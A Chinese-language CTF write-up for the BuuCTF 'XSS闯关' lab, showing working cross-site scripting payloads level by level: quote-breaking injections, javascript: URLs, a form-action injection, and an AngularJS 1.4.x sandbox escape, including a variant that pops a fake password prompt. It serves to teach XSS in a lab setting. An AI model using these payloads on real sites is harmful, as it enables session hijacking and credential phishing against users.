BuuCTF[第二章 web进阶]XSS闯关
Posted 山川绿水
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BuuCTF[第二章 web进阶]XSS闯关相关的知识,希望对你有一定的参考价值。
**
[第二章 web进阶]XSS闯关
**
一、解题思路
1.一来看了一下题目的说明
我们需要执行alert函数
那就开启闯关模式!!!
1.第一关,无任何过滤
一看这个URL就很奇怪没直接上手,二话没说成功下一关
http://491c2e5e-9e61-408a-b82d-6615548d150b.node4.buuoj.cn/level1?username=<script>alert('xss')</script>
通过观察url,我惊奇的发现闯关的关卡,是由level1,level2…,我一路向北直到level7,得到flag
我们关键在学习XSS,上述方法有点投机取巧了,进入正题,一关一关的闯
2.第二关,简单闭合绕过
重新从第二关开始,想使用第一关的套路,直接被没有回显
http://491c2e5e-9e61-408a-b82d-6615548d150b.node4.buuoj.cn/level2?username=<script>alert('xss')</script>
直接查看页面源代码
发现使用了js所编写的一个过滤,username被escape加密
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = 'xss';
document.getElementById('ccc').innerhtml= "Welcome " + escape(username);
</script>
我所使用的绕过姿势是前面
var username = 'xss'; //使用';结束前面的语句,后面加上函数alert(1);使用'1闭合后面的单引号,当然你也可以使用将其注释(//)
使用’;结束前面的语句,后面加上函数alert(1);使用’1闭合后面的单引号,当然你也可以使用将其注释(//)
http://65c057a6-36f6-4ed7-90b8-1c25016edfec.node4.buuoj.cn/level2?username=1';alert(1);'1
3.第三关,单引号转义
还是先测试
<script>alert(1)</script>
发现不可以
查看页面源代码
好像也没发现什么问题,那么试试第二关的方法
';alert(1);'1
查看一下源代码,发现单引号(’)被转义
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = '\\';alert(1);'1';
document.getElementById('ccc').innerHTML= "Welcome " + username;
</script>
发现多了一个反斜杠+单引号(’),那么就相当于’'构成了闭合,那么我们的构造可以为:
'';alert(1);'1
4.第四关,伪链接
进入第四关,就有点懵了,一直在死循环,查看页面源代码
伪链接
javascript:alert(1),浏览器会把javascript后面的内容当做代码执行,直接在当前页面执行。代码中接收jumpUrl作为跳转url,构造如下所示:
jumpUrl=javascript:alert(1)
5.第五关,getQueryVariable()函数绕过
进入到第五关
是一个表单查询,无论在输入框中输入,任意的东西,他都会回显报错
查看页面源代码
分析代码如下:
if(getQueryVariable('autosubmit') !== false){ //如果出错就会执行getQueryVariable函数
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
//变量action执行getQueryVariable函数
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
getQueryVariable('autosubmit') !== false){ //如果出错就会执行getQueryVariable函数
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
//变量action执行getQueryVariable函数
其实,只要我们绕过这两个变量就可以,payload如下所示:
http://1bbea037-ec4e-4120-bd60-16336bd00c60.node4.buuoj.cn/level5?autosubmit=1&action=JavaScript:alert(1);//
6.第六关,xss模板注入(沙箱逃逸)
查看页源代码
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
这段代码,比较特别
打开是一长串段js编写的代码,也没发现特别的,看着这个URL,就测试了一下,xss模板注入,别说,真的存在这个漏洞
8*9=72,直接就给我算出了答案,说明存在xss模板注入的,百度之后发现
Angular JS客户端模板注入
payload如下所示:
http://1bbea037-ec4e-4120-bd60-16336bd00c60.node4.buuoj.cn/level6?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
沙箱逃逸
这个方法,就是确认了存在xss模板注入以后,我们对Angular(版本号v1.4.0-v1.4.9)沙箱逃逸
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
进入到下一关,直接得到flag
二、知识点整理
1.定义
跨站脚本(Cross_Site Scripting,简称为XSS或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户浏览网页时就会受到影响。恶意用户利用XSS代码攻击成功后,可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等内容。
2.原理
HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,
3.分类
(1)反射型XSS
反射性XSS又称为非持久性XSS,这种攻击方式往往具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
(2)存储型XSS
存储型XSS又称为持久型XSS,攻击脚本将被永久的放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意代码连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意代码也永久的被放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
(3)DOM型XSS
DOM全称Document Objeect Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容,结构及样式。
DOM型XSS其实是一种特殊的反射型XSS,它基于DOM文档对象模型的一种漏洞。
4.XSS模板注入
Angular JS沙箱逃逸,从Angular1.6及以后版本,Angular沙箱已被删除。
验证XSS
Angular(版本小于1.6)内的典型XSS payload如下:
{{8*9}}
如果在pay;oad成功执行,结果72将会出现。
沙箱逃逸
Angular(版本号v1.4.0-v1.4.9)沙箱逃逸。
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
JavaScript函数替换“alert(1)”,例如,我们可以使用以下payload创建提示,要求输入密码:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };prompt("Please enter your password:")//');}}
参考链接:https://blog.csdn.net/qq_51558360/article/details/114378503
参考链接:https://xz.aliyun.com/t/4638
以上是关于BuuCTF[第二章 web进阶]XSS闯关的主要内容,如果未能解决你的问题,请参考以下文章